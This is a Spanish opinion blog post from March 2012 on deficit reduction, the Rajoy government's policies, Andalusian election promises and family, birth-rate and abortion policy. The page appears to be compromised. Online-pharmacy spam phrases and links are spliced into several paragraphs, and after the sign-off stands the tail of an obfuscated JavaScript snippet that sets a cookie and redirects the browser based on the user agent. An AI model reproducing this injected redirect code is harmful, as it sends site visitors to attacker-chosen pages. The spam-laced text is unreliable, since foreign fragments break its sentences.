• Si el déficit conjunto de las AAPP debe reducirse desde el 5,8% con el que Montoro dice que terminó el año pasado hasta el 3,0% comprometido para 2013, es obligado que haya un Gobierno con suficiente apoyo parlamentario estable para aprobar leyes que fuercen http://gamers.pe/birth-control-pills-alesse-price/ a limitar a la baja el apalancamiento del endeudamiento de las familias y que Purchase Pills obliguen a las CCAA a cumplir, mes a mes, con los compromisos de ajuste fiscal dictados desde el Gobierno central. Esa es la tarea histórica con la que, por culpa de la ignorancia, incapacidad o dejadez del anterior Gobierno del PSOE, se ha  encontrado el actual Gobierno de mayoría absoluta del PP que, que ahora no dejará de aprovechar para cambiar la estructra de comportamientos dla sociedad española

    http://economia.elpais.com/economia/2012/03/04/actualidad/1330892333_558591.html Cheap

    Si ese apoyo parlamentario es una condición necesaria para conseguir  compradores del Bono del Reino de España, la condición suficiente es la de la cooperación interesada de los agentes sociales con responsabilidad institucional, desde los alcaldes a presidentes autonómicos, desde las cúpulas sindicales hasta las de las patronales. Y si esa colaboración no fuese posible, será obligada por la presión de los hechos a sabiendas de que el miedo al futuro estimula el apoyo a los líderes que cuentan con apoyo parlamentario suficiente como para convertir en leyes lo los proyectos ideológicos que quieran, por muy atrabiliarios y desordenados que sean

    http://www.cincodias.com/articulo/economia/gobierno-acusa-desgaste-recortes-pp/20120304cdscdieco_1/

    Parece que la búsqueda de Purchase online certidumbres y seguridad por los ciudadanos está convirtiendo a un líder a trancas y barrancas como Rajoy en un Kamikace que se niega a aceptar la disciplina fiscal de la CE por mucho que la hubiera rubricado unos días antes

    http://www.eleconomista.es/economia/noticias/3796528/03/12/Espana-se-enfrenta-a-sanciones-si-no-corrige-el-deficit-pero-Rajoy-espera-que-su-decision-se-interprete-bien.html

    En fin, un dislate que muestra el modelo de improvisaciones en el que legislan  los Ministros Guindos & Montoro & Báñez

    http://www.gurusblog.com/archives/soraya-saenz-de-santamaria-mujer-poder-espana-newsweek/07/03/2012/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+gurusblog%2FocIz+%28GurusBlog.com%29

    Un desorden al que se añade la ausencia de una explicación sensata de los remedios aplicados para desapalancar la actividad de los agentes económicos españoles. Parece como que Rajoy se hubiera convertido en un clónico de  Zapatero, que explicó poco y mal el abandono pragmático de los principios formales de la identidad ideológica de su Gobierno.

    ://elcomentario.tv/reggio/maxima-pedagogia-para-explicar-un-ajuste-historico-de-federico-castano-en-vozpopuli-com/31/12/2011/

    ¿O es que no se han dado cuenta que el Primer Ministro encargado de evitarnos entrar en default argumenta como un niño pidiendo comprensión a los que va a dañar para siempre?

    http://www.diariodelanzarote.com/2012/02/27/canarias01.htm

    Ahora comienza el proceso electoral en Andalucía y seguro que hoy, aprovechando el increíble argumento de Gallardón amenazando con una contrarrevolución abortista, la carrera de promesas electorales brillará con el protagonismo de la oferta de las ayudas a las familias. El “núcleo social básico de la sociedad” ahora debe ser un vivero de votos que, hasta que no llegó la crisis, no era considerado como tal. Aquella prosperidad para siempre para todos reducía la necesidad de subsidios para las familias.

    Pero ahora es todo lo contrario: todas las propuestas electorales en Andalucía coincidirán en aminorar los ingresos de Hacienda y aumentar los gastos del Estado: nadie querrá defender públicamente las restricciones del déficit cero del programa del PP, prometiendo en privado aumentos de las desgravaciones fiscales y de las transferencias de rentas con cargo a unos Presupuestos sin capacidad legal para endeudarse. A partir de ahí, las propuestas de “derecha” se diferenciarán de las de “izquierda” en que las primeras serán ayudas indiscriminadas (a todos por igual) y las segundas incorporan un baremo redistributivo (progresivas según renta). Puede que electoralmente sea eficaz eso de facilitar y rebajar el coste de la vida familiar. Pero lo importante es saber qué se quiere conseguir además, ¿impulsar el crecimiento de la natalidad?

    clopidogrel price in india Desde el punto de vista económico, no es lo mismo incentivar la natalidad que estimular el trabajo de las mujeres. En el primer caso hay que incrementar el gasto público mientras que en el segundo, el objetivo es producir un aumento de los ingresos fiscales. No es lo mismo conceder desgravaciones sobre el IRPF que financiar la extensión de la Ley de Dependencia o  subvencionar guarderías y geriátricos y reformar los horarios escolares y de trabajo. En el primer caso se ayuda a tener hijos, en el segundo a trabajar y tener hijos.

    Las políticas públicas, ¿tienen que elegir entre incentivar la natalidad o facilitar el empleo de las mujeres? Tienen que hacerlas compatibles. El número de mujeres ocupadas apenas representa el 60% de los hombres que trabajan. Hay una demanda insatisfecha de empleo para mujeres debido, en buena parte, a la falta de empleabilidad de las mujeres, sea por el déficit de formación o por pura discriminación hacia el “riesgo de la maternidad. El primer escollo puede resolverse mediante apoyos públicos de acceso a la formación, pero el segundo necesita aplicar medidas de discriminación “positiva. Para aumentar el empleo femenino sin desincentivar la natalidad habría que ayudar antes a las mujeres que a las familias. Porque la decisión de tener hijos no depende tanto del volumen de ayudas económicas directas al natalicio (que siempre serán insuficientes) como de las facilidades que puedan arbitrarse para hacer compatible el trabajo de las mujeres con la atención a la familia (sobre todo, niños y ancianos incapacitados). No sólo ayudas económicas, sino servicios sociales.

    Desatascar el nudo social del derecho al aborto no es sólo una tarea moral y cultural, de derechos y obligaciones. En una sociedad laica y liberal las leyes sólo deben facilitar la capacidad individual de las decisiones personales sin agobios ideológicos. Si Gallardón sigue empeñado en hacerse con la Agenda de Poder de Rajoy  con propuestas de alcance religioso, pronto tendrá que poner en cuestión el matrimonio gay y el divorcio exprés. Es decir, que, prisionero de los conservadores, el PP terminaría trayendo el nacional catolicismo franquista a una sociedad posmoderna y descreída como es la española de hoy.

    http://es.wikipedia.org/wiki/Nacionalcatolicismo

    El centro izquierda se hará con la pancarta de los horarios escolares y de trabajo y las subvenciones a guarderías, dependientes y geriátricos. Todo lo demás será  humo benevolente en manos del centro derecha liberal. Precisamente en una época en la que  se estanca el crecimiento la población española

    http://sociedad.elpais.com/sociedad/2012/01/13/actualidad/1326488263_976325.html

    Mil gracias por la lectura y difusión de esta Agenda de Prensa y no sean cándidos y peleen por su futuro. Sean egoístas exigiendo que el ajuste lo hagan, de verdad,  los otros también.

    Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Comments are closed.

Calendario de artículos

marzo 2012
L M X J V S D
 1234
567891011
12131415161718
19202122232425
262728293031  

Artículos anteriores